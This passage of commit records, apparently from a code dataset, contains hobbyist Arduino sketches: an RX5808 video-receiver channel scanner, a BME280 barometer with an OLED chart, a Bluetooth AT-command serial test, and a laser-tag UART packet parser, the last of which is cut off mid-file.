last_active_channel=active_channel;\n \/\/ show frequence\n TV.print(50,TV_Y_OFFSET+3*TV_Y_GRID, pgm_read_word_near(channelFreqTable + channelIndex));\n }\n \/\/ show signal strength\n #define RSSI_BAR_SIZE 100\n rssi_scaled=map(rssi, 1, 100, 1, RSSI_BAR_SIZE);\n \/\/ clear last bar\n TV.draw_rect(25, TV_Y_OFFSET+4*TV_Y_GRID, RSSI_BAR_SIZE,4 , BLACK, BLACK);\n \/\/ draw new bar\n TV.draw_rect(25, TV_Y_OFFSET+4*TV_Y_GRID, rssi_scaled, 4 , WHITE, WHITE);\n \/\/ print bar for spectrum\n channel=channel_from_index(channelIndex); \/\/ get 0...31 index depending of current channel\n wait_rssi_ready();\n #define SCANNER_BAR_MINI_SIZE 14\n rssi = readRSSI();\n rssi_scaled=map(rssi, 1, 100, 1, SCANNER_BAR_MINI_SIZE);\n hight = (TV_ROWS - TV_SCANNER_OFFSET - rssi_scaled);\n \/\/ clear last bar\n TV.draw_rect((channel * 4), (TV_ROWS - TV_SCANNER_OFFSET - SCANNER_BAR_MINI_SIZE), 3, SCANNER_BAR_MINI_SIZE , BLACK, BLACK);\n \/\/ draw new bar\n TV.draw_rect((channel * 4), hight, 3, rssi_scaled , WHITE, WHITE);\n \/\/ set marker in spectrum to show current scanned channel\n if(channel < CHANNEL_MAX_INDEX)\n {\n \/\/ clear last square\n TV.draw_rect((last_maker_pos * 4)+2, (TV_ROWS - TV_SCANNER_OFFSET + 8),SCANNER_MARKER_SIZE,SCANNER_MARKER_SIZE, BLACK, BLACK);\n \/\/ draw next\n TV.draw_rect((channel * 4)+2, (TV_ROWS - TV_SCANNER_OFFSET + 8),SCANNER_MARKER_SIZE,SCANNER_MARKER_SIZE, WHITE, WHITE);\n last_maker_pos=channel;\n }\n else\n {\n \/\/ No action on last position to keep frame intact\n }\n \/\/ handling for seek mode after screen and RSSI has been fully processed\n if(state == STATE_SEEK) \/\/\n { \/\/ SEEK MODE\n if(!seek_found) \/\/ search if not found\n {\n if ((!force_seek) && (rssi > RSSI_SEEK_TRESHOLD)) \/\/ check for found channel\n {\n seek_found=1;\n \/\/ beep twice as notice of lock\n beep(100);\n delay(100);\n beep(100);\n }\n else\n { \/\/ seeking itself\n force_seek=0;\n \/\/ next channel\n if (channel < CHANNEL_MAX)\n {\n channel++;\n } else {\n channel=CHANNEL_MIN;\n }\n channelIndex = pgm_read_byte_near(channelList + channel);\n }\n }\n else\n { \/\/ seek was successful\n TV.printPGM(10, TV_Y_OFFSET, PSTR(\"AUTO MODE LOCK\"));\n if (digitalRead(buttonSeek) == LOW) \/\/ restart seek if key pressed\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n force_seek=1;\n seek_found=0;\n TV.printPGM(10, TV_Y_OFFSET, PSTR(\"AUTO MODE SEEK\"));\n }\n }\n }\n TV.delay_frame(1); \/\/ clean redraw\n }\n \/****************************\/\n \/* Processing SCAN MODE *\/\n \/****************************\/\n else if (state == STATE_SCAN || state == STATE_RSSI_SETUP)\n {\n \/\/ force tune on new scan start to get right RSSI value\n if(scan_start)\n {\n scan_start=0;\n setChannelModule(channelIndex);\n last_channel_index=channelIndex;\n \/\/ keep time of tune to make sure that RSSI is stable when required\n time_of_tune=millis();\n }\n \/\/ channel marker\n if(channel < CHANNEL_MAX_INDEX)\n {\n \/\/ clear last square\n TV.draw_rect((last_maker_pos * 4)+2, (TV_ROWS - TV_SCANNER_OFFSET + 8),SCANNER_MARKER_SIZE,SCANNER_MARKER_SIZE, BLACK, BLACK);\n \/\/ draw next\n TV.draw_rect((channel * 4)+2, (TV_ROWS - TV_SCANNER_OFFSET + 8),SCANNER_MARKER_SIZE,SCANNER_MARKER_SIZE, WHITE, WHITE);\n last_maker_pos=channel;\n }\n else\n {\n \/\/ No action on last position to keep frame intact\n }\n \/\/ print bar for spectrum\n wait_rssi_ready();\n \/\/ value must be ready\n rssi = readRSSI();\n rssi_scaled=map(rssi, 1, 100, 5, SCANNER_BAR_SIZE);\n hight = (TV_ROWS - TV_SCANNER_OFFSET - rssi_scaled);\n \/\/ clear last bar\n TV.draw_rect((channel * 4), (TV_ROWS - TV_SCANNER_OFFSET - SCANNER_BAR_SIZE), 3, SCANNER_BAR_SIZE , BLACK, BLACK);\n \/\/ draw new bar\n TV.draw_rect((channel * 4), hight, 3, rssi_scaled , WHITE, WHITE);\n \/\/ print channelname\n if(state == STATE_SCAN)\n {\n if (rssi > RSSI_SEEK_TRESHOLD)\n {\n TV.draw_rect(writePos, SCANNER_LIST_Y_POS, 20, 6, BLACK, BLACK);\n TV.print(writePos, SCANNER_LIST_Y_POS, pgm_read_byte_near(channelNames + channelIndex), HEX);\n TV.print(writePos+10, SCANNER_LIST_Y_POS, pgm_read_word_near(channelFreqTable + channelIndex));\n writePos += 30;\n \/\/ mark bar\n TV.print((channel * 4) - 3, hight - 5, pgm_read_byte_near(channelNames + channelIndex), HEX);\n }\n }\n \/\/ next channel\n if (channel < CHANNEL_MAX)\n {\n channel++;\n } else {\n channel=CHANNEL_MIN;\n writePos=SCANNER_LIST_X_POS; \/\/ reset channel list\n if(state == STATE_RSSI_SETUP)\n {\n if(!rssi_setup_run--)\n {\n \/\/ setup done\n rssi_min=rssi_setup_min;\n rssi_max=rssi_setup_max;\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MIN_L,(rssi_min & 0xff));\n EEPROM.write(EEPROM_ADR_RSSI_MIN_H,(rssi_min >> 8));\n \/\/ save 16 bit\n EEPROM.write(EEPROM_ADR_RSSI_MAX_L,(rssi_max & 0xff));\n EEPROM.write(EEPROM_ADR_RSSI_MAX_H,(rssi_max >> 8));\n state=EEPROM.read(EEPROM_ADR_STATE);\n beep(1000);\n }\n }\n }\n \/\/ new scan possible by press scan\n if (digitalRead(buttonSeek) == LOW) \/\/ force new full new scan\n {\n beep(50); \/\/ beep & debounce\n delay(KEY_DEBOUNCE); \/\/ debounce\n last_state=255; \/\/ force redraw by fake state change ;-)\n channel=CHANNEL_MIN;\n writePos=SCANNER_LIST_X_POS; \/\/ reset channel list\n scan_start=1;\n }\n \/\/ update index after channel change\n channelIndex = pgm_read_byte_near(channelList + channel);\n }\n\n \/*****************************\/\n \/* General house keeping *\/\n \/*****************************\/\n if(last_channel_index != channelIndex) \/\/ tune channel on demand\n {\n setChannelModule(channelIndex);\n last_channel_index=channelIndex;\n \/\/ keep time of tune to make sure that RSSI is stable when required\n time_of_tune=millis();\n \/\/ give 3 beeps when tuned to give feedback of correct start\n if(first_tune)\n {\n first_tune=0;\n #define UP_BEEP 100\n beep(UP_BEEP);\n delay(UP_BEEP);\n beep(UP_BEEP);\n delay(UP_BEEP);\n beep(UP_BEEP);\n }\n }\n \/\/rssi = readRSSI();\n\n}\n\n\/*###########################################################################*\/\n\/*******************\/\n\/* SUB ROUTINES *\/\n\/*******************\/\n\nvoid beep(uint16_t time)\n{\n digitalWrite(buzzer, LOW);\n delay(time);\n digitalWrite(buzzer, HIGH);\n}\n\nuint8_t channel_from_index(uint8_t channelIndex)\n{\n uint8_t loop=0;\n uint8_t channel=0;\n for (loop=0;loop<=CHANNEL_MAX;loop++)\n {\n if(pgm_read_byte_near(channelList + loop) == channelIndex)\n {\n channel=loop;\n break;\n }\n }\n return (channel);\n}\n\nvoid wait_rssi_ready()\n{\n \/\/ CHECK FOR MINIMUM DELAY\n \/\/ check if RSSI is stable after tune by checking the time\n uint16_t tune_time = millis()-time_of_tune;\n \/\/ module need >20ms to tune.\n \/\/ 30 ms will to a 32 channel scan in 1 second.\n #define MIN_TUNE_TIME 30\n if(tune_time < MIN_TUNE_TIME)\n {\n \/\/ wait until tune time is full filled\n delay(MIN_TUNE_TIME-tune_time);\n }\n}\n\n\nuint16_t readRSSI()\n{\n uint16_t rssi = 0;\n for (uint8_t i = 0; i < 10; i++)\n {\n rssi += analogRead(rssiPin);\n }\n rssi=rssi\/10; \/\/ average\n \/\/ special case for RSSI setup\n if(state==STATE_RSSI_SETUP)\n { \/\/ RSSI setup\n if(rssi < rssi_setup_min)\n {\n rssi_setup_min=rssi;\n TV.print(50, SCANNER_LIST_Y_POS, \" \");\n TV.print(50, SCANNER_LIST_Y_POS, rssi_setup_min , DEC);\n }\n if(rssi > rssi_setup_max)\n {\n rssi_setup_max=rssi;\n TV.print(110, SCANNER_LIST_Y_POS, \" \");\n TV.print(110, SCANNER_LIST_Y_POS, rssi_setup_max , DEC);\n }\n \/\/ dump current values\n }\n \/\/TV.print(50, SCANNER_LIST_Y_POS-10, rssi_min , DEC);\n \/\/TV.print(110, SCANNER_LIST_Y_POS-10, rssi_max , DEC);\n \/\/ scale AD RSSI Valaues to 1-100%\n \/\/#define RSSI_DEBUG\n\n \/\/ Filter glitches\n #ifdef RSSI_DEBUG\n TV.print(1,20, \"RAW: \");\n TV.print(30,20, rssi, DEC);\n #endif\n rssi = constrain(rssi, rssi_min, rssi_max); \/\/original 90---250\n rssi=rssi-rssi_min; \/\/ set zero point (value 0...160)\n rssi = map(rssi, 0, rssi_max-rssi_min , 1, 100); \/\/ scale from 1..100%\n #ifdef RSSI_DEBUG\n TV.print(1,40, \"SCALED: \");\n TV.print(50,40, rssi, DEC);\n #endif\n\n return (rssi);\n}\n\n\/\/ Private function: from http:\/\/arduino.cc\/playground\/Code\/AvailableMemory\nint freeRam () {\n extern int __heap_start, *__brkval;\n int v;\n return (int) &v - (__brkval == 0 ? (int) &__heap_start : (int) __brkval);\n}\n\nvoid setChannelModule(uint8_t channel)\n{\n uint8_t i;\n uint16_t channelData;\n\n \/\/channelData = pgm_read_word(&channelTable[channel]);\n \/\/channelData = channelTable[channel];\n channelData = pgm_read_word_near(channelTable + channel);\n\n \/\/ bit bash out 25 bits of data\n \/\/ Order: A0-3, !R\/W, D0-D19\n \/\/ A0=0, A1=0, A2=0, A3=1, RW=0, D0-19=0\n SERIAL_ENABLE_HIGH();\n delayMicroseconds(1);\n \/\/delay(2);\n SERIAL_ENABLE_LOW();\n\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT1();\n\n SERIAL_SENDBIT0();\n\n \/\/ remaining zeros\n for (i = 20; i > 0; i--)\n SERIAL_SENDBIT0();\n\n \/\/ Clock the data in\n SERIAL_ENABLE_HIGH();\n \/\/delay(2);\n delayMicroseconds(1);\n SERIAL_ENABLE_LOW();\n\n \/\/ Second is the channel data from the lookup table\n \/\/ 20 bytes of register data are sent, but the MSB 4 bits are zeros\n \/\/ register address = 0x1, write, data0-15=channelData data15-19=0x0\n SERIAL_ENABLE_HIGH();\n SERIAL_ENABLE_LOW();\n\n \/\/ Register 0x1\n SERIAL_SENDBIT1();\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT0();\n SERIAL_SENDBIT0();\n\n \/\/ Write to register\n SERIAL_SENDBIT1();\n\n \/\/ D0-D15\n \/\/ note: loop runs backwards as more efficent on AVR\n for (i = 16; i > 0; i--)\n {\n \/\/ Is bit high or low?\n if (channelData & 0x1)\n {\n SERIAL_SENDBIT1();\n }\n else\n {\n SERIAL_SENDBIT0();\n }\n\n \/\/ Shift bits along to check the next one\n channelData >>= 1;\n }\n\n \/\/ Remaining D16-D19\n for (i = 4; i > 0; i--)\n SERIAL_SENDBIT0();\n\n \/\/ Finished clocking data in\n SERIAL_ENABLE_HIGH();\n delayMicroseconds(1);\n \/\/delay(2);\n\n digitalWrite(slaveSelectPin, LOW);\n digitalWrite(spiClockPin, LOW);\n digitalWrite(spiDataPin, LOW);\n}\n\n\nvoid SERIAL_SENDBIT1()\n{\n digitalWrite(spiClockPin, LOW);\n delayMicroseconds(1);\n\n digitalWrite(spiDataPin, HIGH);\n delayMicroseconds(1);\n digitalWrite(spiClockPin, HIGH);\n delayMicroseconds(1);\n\n digitalWrite(spiClockPin, LOW);\n delayMicroseconds(1);\n}\n\nvoid SERIAL_SENDBIT0()\n{\n digitalWrite(spiClockPin, LOW);\n delayMicroseconds(1);\n\n digitalWrite(spiDataPin, LOW);\n delayMicroseconds(1);\n digitalWrite(spiClockPin, HIGH);\n delayMicroseconds(1);\n\n digitalWrite(spiClockPin, LOW);\n delayMicroseconds(1);\n}\n\nvoid SERIAL_ENABLE_LOW()\n{\n delayMicroseconds(1);\n digitalWrite(slaveSelectPin, LOW);\n delayMicroseconds(1);\n}\n\nvoid SERIAL_ENABLE_HIGH()\n{\n delayMicroseconds(1);\n digitalWrite(slaveSelectPin, HIGH);\n delayMicroseconds(1);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'src\/rx5808-pro-diversity\/rx5808-pro-diversity.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4bc4b5bc514846c96f6e25da80a23908dba50a32","subject":"Create BME-OLED-chart.ino","message":"Create BME-OLED-chart.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/BME-OLED-chart.ino","new_file":"ESP8266-code\/BME-OLED-chart.ino","new_contents":"\/*********************************************************************\nA barometer using an OLED and libraries from Adafruit\n\n\n*********************************************************************\/\n\n#include <SPI.h>\n#include <Wire.h>\n#include <Adafruit_GFX.h>\n#include <Adafruit_SSD1306.h>\n#include <math.h>\n#include <Adafruit_Sensor.h>\n#include <Adafruit_BME280.h>\n\n#define BME_SCK 13\n#define BME_MISO 12\n#define BME_MOSI 11\n#define BME_CS 10\n\n\/\/ OLED \n#define OLED_RESET -1\nAdafruit_SSD1306 display(OLED_RESET);\n#if (SSD1306_LCDHEIGHT != 64)\n# error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\/\/ barometer\nAdafruit_BME280 bme; \/\/ I2C\nint elevation = 60; \/\/ height of station in m\n\n\/\/ baro queue\nfloat scale = 10.0;\nint period = 24*60;\nint interval = 6;\nint entries = period \/ interval;\n\n\/\/ queue - to be class\nint qmax = entries;\nint qi=0;\nint q[1000];\n\nvoid setup() { \n Serial.begin(9600);\n\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC, 0x3C); \/\/ initialize with the I2C addr 0x3C(for the 128x64)\n\n \/\/ BME280 setup\n Serial.println(F(\"BME280 test\"));\n if (!bme.begin()) { \n Serial.println(F(\"Could not find a valid BME280 sensor, check wiring!\"));\n while (1);\n }\n \/\/ q setup;\n qinit(0);\n Serial.println(entries);\n \n \/\/ init done\n \/\/ display splash screen \n display.display();\n delay(2000);\n}\n\nvoid loop() {\n float temp = bme.readTemperature();\n float pressure= bme.readPressure()\/ 100.0F; \n float slpressure = pressure + elevation\/9.2F;\n float humidity = bme.readHumidity();\n float past3 = bget(180);\n float trend = slpressure - past3;\n\n display.clearDisplay();\n Serial.println(slpressure);\n bput(slpressure);\n \n display.setCursor(0,0);\n display.setTextColor(WHITE);\n display.setTextSize(1);\n display.print(round(slpressure));\n display.print(\"mb \");\n display.print(temp,1);\n display.print(\" C\");\n display.print(\" RH\");\n display.print(round(humidity));\n display.print(\"%\");\n chart();\n display.display();\n delay(interval * 60 * 1000); \n}\n\nvoid chart() {\n for (int i = 0;i < entries; i=i+2) {\n float b = (bgeti(i) +bgeti(i+1))\/2;\n int k = 30 + (b - 1010.0);\n int l = (entries - i)\/2;\n if (k > 0) bar(l,63,k,1);\n }\n Serial.println();\n}\nvoid bar(int x,int y,int height,int width) {\n display.fillRect(x,y-height,width,height,WHITE);\n}\n\n\nvoid bput(float baro) {\n qput((int)round(baro*scale));\n}\n\nfloat bget(int t) {\n int k = t \/ interval; \n float val = qget(k)\/scale;\n return val;\n}\n\nfloat bgeti(int k) {\n float val = qget(k)\/scale;\n return val;\n}\n\nvoid qinit(int val) {\n for (int i=0; i < qmax;i++)\n q[i] = val;\n}\nvoid qput(int val) {\n q[qi]=val;\n qi = (qi + 1) % qmax;\n}\nint qget(int i) {\n int j = (qi-i-1+qmax)% qmax;\n return q[j];\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/BME-OLED-chart.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2b2915e6c28eeb54c4032eabbd290fd61c235519","subject":"Add Arduino source file","message":"Add Arduino source file\n","repos":"brave-warrior\/BluetoothArduino-Android","old_file":"Arduino\/bluetooth_scatch.ino","new_file":"Arduino\/bluetooth_scatch.ino","new_contents":"#include <SoftwareSerial.h> \/\/Software Serial Port\n#define RxD 2\n#define TxD 3\n\n#define MASTER 0 \/\/change this macro to define the Bluetooth as Master or not \n\nSoftwareSerial blueToothSerial(RxD,TxD);\/\/the software serial port \n\nchar recv_str[100];\n\nvoid setup() \n{ \n pinMode(9, OUTPUT);\n digitalWrite(9, HIGH);\n \n Serial.begin(9600); \/\/Serial port for debugging\n pinMode(RxD, INPUT); \/\/UART pin for Bluetooth\n pinMode(TxD, OUTPUT); \/\/UART pin for Bluetooth\n Serial.println(\"\\r\\nPower on!!\");\n \n \/\/ sendBlueToothCommand(\"AT+BAUD4\");\/\/reset the module's baud rate\n \/\/ sendBlueToothCommand(\"AT+RESET\");\n \n blueToothSerial.begin(9600);\n \/\/blueToothSerial.listen();\n \n \/\/setupBlueToothConnection();\n\n \/\/sendBlueToothCommand(\"AT\\r\\n\");\n \/\/sendBlueToothCommand(\"AT+UART9600\");\n \n \/\/setupBlueToothConnection2();\n \/** if(setupBlueToothConnection() != 0) while(1); \/\/initialize Bluetooth\n \/\/this block is waiting for connection was established.\n while(1)\n {\n if(recvMsg(1000) == 0)\n {\n if(strcmp((char *)recv_str, (char *)\"OK+CONB\") == 0)\n {\n Serial.println(\"connected\\r\\n\");\n break;\n }\n }\n delay(200);\n }\n \n *\/\n \n \n} \n\nvoid setupBlueToothConnection2()\n{\n Serial.print(\"Setting up Bluetooth link\"); \/\/For debugging, Comment this line if not required \n blueToothSerial.begin(9600); \/\/Set BluetoothBee BaudRate to default baud rate 38400\n delay(1000);\n sendBlueToothCommand2(\"\\r\\n+STWMOD=0\\r\\n\");\n sendBlueToothCommand2(\"\\r\\n+STNA=modem\\r\\n\");\n sendBlueToothCommand2(\"\\r\\n+STAUTO=0\\r\\n\");\n sendBlueToothCommand2(\"\\r\\n+STOAUT=1\\r\\n\");\n sendBlueToothCommand2(\"\\r\\n+STPIN=0000\\r\\n\");\n delay(2000); \/\/ This delay is required.\n blueToothSerial.print(\"\\r\\n+INQ=1\\r\\n\");\n delay(2000); \/\/ This delay is required.\n Serial.print(\"Setup complete\");\n \n}\n\nvoid sendBlueToothCommand2(char command[])\n{\n char a;\n blueToothSerial.print(command);\n Serial.print(command); \/\/For debugging, Comment this line if not required \n delay(3000);\n \n while(blueToothSerial.available()) \/\/For debugging, Comment this line if not required \n { \/\/For debugging, Comment this line if not required \n Serial.print(char(blueToothSerial.read())); \/\/For debugging, Comment this line if not required \n } \/\/For debugging, Comment this line if not required \n}\n\nvoid loop() \n{ \n \/\/sendBlueToothCommand(\"AT\\r\\n\");\n \/** #if MASTER \/\/central role\n \/\/in master mode, the bluetooth send message periodically. \n delay(400);\n Serial.println(\"send: hi\");\n blueToothSerial.print(\"hi\");\n delay(100);\n \/\/get any message to print\n if(recvMsg(1000) == 0)\n {\n Serial.print(\"recv: \");\n Serial.print((char *)recv_str);\n Serial.println(\"\");\n }\n #else \/\/peripheral role\n delay(200);\n \/\/the slave role only send message when received one.\n if(recvMsg(1000) == 0)\n {\n Serial.print(\"recv: \");\n Serial.print((char *)recv_str);\n Serial.println(\"\");\n Serial.println(\"send: hello\");\n blueToothSerial.print(\"hello\");\/\/return back message\n }\n #endif\n \n **\/\n \n \/* if( blueToothSerial.available() > 0 )\n {\n Serial.print(\"Recv: \");\n byte recv = (byte)blueToothSerial.read();\n Serial.print(recv);\n Serial.println(\"\");\n blueToothSerial.flush();\n \/\/recvMsg(1000);\n \/\/Serial.print(recv_str);\n }\n *\/\n \n int i = 0;\n while(Serial.available() && (i < 100))\n { \n recv_str[i] = (char)Serial.read();\n i++;\n }\n if(i > 0)\n {\n recv_str[i] = '\\0';\n Serial.print(\" Sent: \");\n Serial.print((char *)recv_str);\n blueToothSerial.print(recv_str);\n }\n \n\/** if( Serial.available() > 0 )\n {\n char data = (char)Serial.read();\n Serial.print(\" Sent: \");\n Serial.print(data); \n Serial.println(\"\");\n blueToothSerial.print(data);\/\/return back message\n }\n *\/\n \n if(recvMsg(1000) == 0)\n {\n Serial.print(\"recv (char*): \");\n Serial.print((char *)recv_str);\n blueToothSerial.flush();\n Serial.println(\"\");\n delay(3000);\n Serial.println(\"send: Ack\");\n blueToothSerial.print(\"Ack\");\/\/return back message\n }\n \n \n}\n\n\/\/used for compare two string, return 0 if one equals to each other\nint strcmp(char *a, char *b)\n{\n unsigned int ptr = 0;\n while(a[ptr] != '\\0')\n {\n if(a[ptr] != b[ptr]) return -1;\n ptr++;\n }\n return 0;\n}\n\n\/\/configure the Bluetooth through AT commands\nint setupBlueToothConnection()\n{\n \/** #if MASTER\n Serial.println(\"this is MASTER\\r\\n\");\n #else\n Serial.println(\"this is SLAVE\\r\\n\");\n #endif\n *\/\n\n Serial.print(\"Setting up Bluetooth link\\r\\n\");\n delay(3500);\/\/wait for module restart\n\n \/\/send command to module in different baud rate\n while(1)\n {\n delay(500);\n blueToothSerial.begin(9600);\n delay(500);\n Serial.print(\"try 9600\\r\\n\");\n if(sendBlueToothCommand(\"AT\") == 0)\n break;\n delay(500);\n \/** blueToothSerial.begin(115200);\n delay(500);\n Serial.print(\"try 115200\\r\\n\");\n if(sendBlueToothCommand(\"AT\") == 0)\n break;\n **\/\n }\n \n \/\/we have to set the baud rate to 9600, since the soft serial is not stable at 115200\n sendBlueToothCommand(\"AT+RENEW\");\/\/restore factory configurations\n sendBlueToothCommand(\"AT+UART9600\");\n \/\/ sendBlueToothCommand(\"AT+BAUD2\");\/\/reset the module's baud rate\n \/\/sendBlueToothCommand(\"AT+AUTH1\");\/\/enable authentication\n sendBlueToothCommand(\"AT+RESET\");\/\/restart module to take effect\n blueToothSerial.begin(9600);\/\/reset the Arduino's baud rate\n delay(3500);\/\/wait for module restart\n \/\/sendBlueToothCommand(\"AT+LADD?\");\/\/get EDR MAC\n \/\/configure parameters of the module\n \/\/ sendBlueToothCommand(\"AT+VERS?\");\/\/get firmware version\n \/\/ sendBlueToothCommand(\"AT+ADDE?\");\/\/get EDR MAC\n \/\/ sendBlueToothCommand(\"AT+ADDB?\");\/\/get BLE MAC\n \/\/ sendBlueToothCommand(\"AT+NAMEHM-13-EDR\");\/\/set EDR name\n \/\/ sendBlueToothCommand(\"AT+NAMBHM-13-BLE\");\/\/set BLE name\n \/\/ sendBlueToothCommand(\"AT+PINE123451\");\/\/set EDR password\n \/\/ sendBlueToothCommand(\"AT+PINB123451\");\/\/set BLE password\n sendBlueToothCommand(\"AT+SCAN0\");\/\/set module visible\n sendBlueToothCommand(\"AT+NOTI1\");\/\/enable connect notifications\n \/\/sendBlueToothCommand(\"AT+NOTP1\");\/\/enable address notifications\n \/\/ sendBlueToothCommand(\"AT+PIO01\");\/\/enable key function\n \/\/ #if MASTER\n \/\/ sendBlueToothCommand(\"AT+ROLB1\");\/\/set to master mode\n \/\/ #else\n sendBlueToothCommand(\"AT+ROLB0\");\/\/set to slave mode\n \/\/ #endif\n\/\/ sendBlueToothCommand(\"AT+RESET\");\/\/restart module to take effect\n\nchar flag = 1;\ndo{\n if(Serial.available())\n {\n if( Serial.read() == 'S')\n {\n sendBlueToothCommand(\"AT+RESET\\r\\n\");\n Serial.print(\"resetting...\\r\\n\");\n flag = 0;\n }\n }\n }while(flag);\n \n delay(3500);\/\/wait for module restart\n \/\/ if(sendBlueToothCommand(\"AT\") != 0) return -1;\/\/detect if the module exists\n Serial.print(\"Setup complete\\r\\n\\r\\n\");\n return 0;\n}\n\n\/\/send command to Bluetooth and return if there is a response\nint sendBlueToothCommand(char command[])\n{\n Serial.print(\"send: \");\n Serial.print(command);\n Serial.println(\"\");\n\n blueToothSerial.print(command);\n delay(200);\n\n if(recvMsg(200) != 0) return -1;\n Serial.print(recv_str);\n\n\/** while(1)\n {\n if(blueToothSerial.available())\n {\n char a = blueToothSerial.read();\n Serial.print(\"recv: \");\n Serial.print(a);\n break;\n }\n } *\/\n\n \/\/ Serial.print(\"recv: \");\n \/\/ Serial.print(recv_str);\n Serial.println(\"\");\n return 0;\n}\n\n\/\/Checks if the response \"OK\" is received\nvoid CheckOK()\n{\n char a,b;\n while(1)\n {\n if(blueToothSerial.available())\n {\n a = blueToothSerial.read();\n\n if('O' == a)\n {\n \/\/ Wait for next character K. available() is required in some cases, as K is not immediately available.\n while(blueToothSerial.available()) \n {\n b = blueToothSerial.read();\n Serial.print(b);\n break;\n }\n if('K' == b)\n {\n break;\n }\n }\n }\n }\n\n while( (a = blueToothSerial.read()) != -1)\n {\n \/\/Wait until all other response chars are received\n }\n}\n\nvoid sendBlueToothCommand3(char command[])\n{\n blueToothSerial.print(command);\n Serial.print(command);\n CheckOK(); \n}\n\n\/\/receive message from Bluetooth with time out\nint recvMsg(unsigned int timeout)\n{\n \/\/wait for feedback\n unsigned int time = 0;\n unsigned char num;\n unsigned char i;\n \n \/\/waiting for the first character with time out\n i = 0;\n while(1)\n {\n delay(50);\n if(blueToothSerial.available())\n {\n recv_str[i] = char(blueToothSerial.read());\n i++;\n break;\n }\n time++;\n if(time > (timeout \/ 50)) return -1;\n }\n\n \/\/read other characters from uart buffer to string\n while(blueToothSerial.available() && (i < 100))\n { \n recv_str[i] = char(blueToothSerial.read());\n i++;\n }\n recv_str[i] = '\\0';\n\n return 0;\n}\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/bluetooth_scatch.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3ba576bd817d91090e8556c7184a01e081f62d99","subject":"Create Rx_Structs.ino","message":"Create Rx_Structs.ino\n\nThis iteration of the test .ino allows for received packets to be read and all of the bytes to be saved into the proper data type. There is no checking of the checksum yet, but all of the packets transfer properly over serial","repos":"swolfe0105\/LazIRTag","old_file":"UART\/Rx_Structs.ino","new_file":"UART\/Rx_Structs.ino","new_contents":"#include \"packA_B.h\"\n\nint incByte = 0;\t\/\/ for incoming serial data\nint incLen = 0; \/\/ Initialize an incoming packet length\nint packetLen = 0;\nchar cs = 0;\n\nchar mestyp = 0;\n\npackA incomingA;\npackB incomingB;\n\nvoid setup() {\n Serial.begin(9600);\t\/\/ opens serial port, sets data rate to 9600 bps\n Serial1.begin(9600);\n while (!Serial) ;\n\n incomingA.syncByte = 0x6E;\n incomingA.senderID = 0x00;\n incomingA.blank1 = 0x00;\n incomingA.blank2 = 0x00;\n\n incomingB.syncByte = 0x6E;\n incomingB.destID = 0x00;\n incomingB.blank1 = 0x00;\n incomingB.blank2 = 0x00;\n}\n\nvoid loop() {\n\n \/\/ send data only when you receive data:\n if (Serial1.available() > 0) {\n \/\/ read the incoming byte:\n incByte = Serial1.read();\n if (mestyp == 0){\n if (incByte == 0x0A){\n incLen = 9;\n incomingA.msgType = 0x0A;\n mestyp = 0x0A;\n }\n else if(incByte == 0x0B){\n incLen = 10;\n incomingB.msgType = 0x0B;\n mestyp = 0x0B;\n }\n }\n\n if (mestyp == 0x0A){\n if (packetLen == 3){\n incomingA.destID = incByte;\n }\n if (packetLen == 4){\n incomingA.remHealth = incByte;\n }\n if (packetLen == 5){\n incomingA.damMult = incByte;\n }\n if (packetLen == 8){\n incomingA.checksum = incByte;\n }\n }\n if (mestyp == 0x0B){\n if (packetLen == 2){\n incomingB.senderID = incByte;\n }\n if (packetLen == 4){\n incomingB.weapID = incByte;\n }\n if (packetLen == 5){\n incomingB.playerID = incByte;\n }\n if (packetLen == 6){\n incomingB.battCond = incByte;\n }\n }\n packetLen++;\n\n\n }\n if (packetLen == incLen){\n if (mestyp == 0x0A){\n Serial.print(\"Sync Byte:\"); \n Serial.print(\" \"); \n Serial.println(incomingA.syncByte, HEX);\n Serial.print(\"Message Type:\"); \n Serial.print(\" \"); \n Serial.println(incomingA.msgType, HEX);\n Serial.print(\"Sender ID:\"); \n Serial.print(\" \"); \n Serial.println(incomingA.senderID, HEX);\n Serial.print(\"Destination ID:\"); \n Serial.print(\" \"); \n Serial.println(incomingA.destID, HEX);\n Serial.print(\"Remaining Health:\"); \n Serial.print(\" \"); \n Serial.println(incomingA.remHealth, HEX);\n Serial.print(\"Damage Multiplier:\"); \n Serial.print(\" \"); \n Serial.println(incomingA.damMult, HEX);\n Serial.print(\"Blank:\"); \n Serial.print(\" \"); \n Serial.println(incomingA.blank1, HEX);\n Serial.print(\"Blank:\"); \n Serial.print(\" \"); \n Serial.println(incomingA.blank2, HEX);\n Serial.print(\"Checksum:\"); \n Serial.print(\" \"); \n Serial.println(incomingA.checksum, HEX);\n delay(\n }\n if (mestyp == 0x0B){\n Serial.print(\"Sync Byte:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.syncByte, HEX);\n Serial.print(\"Message Type:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.msgType, HEX);\n Serial.print(\"Sender ID:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.senderID, HEX);\n Serial.print(\"Destination ID:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.destID, HEX);\n Serial.print(\"Weapon ID:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.weapID, HEX);\n Serial.print(\"Player ID:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.playerID, HEX);\n Serial.print(\"Battery Condition:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.battCond, HEX);\n Serial.print(\"Blank:\"); \n Serial.print(\" \"); \n Serial.println(incomingB.blank1, HEX);\n 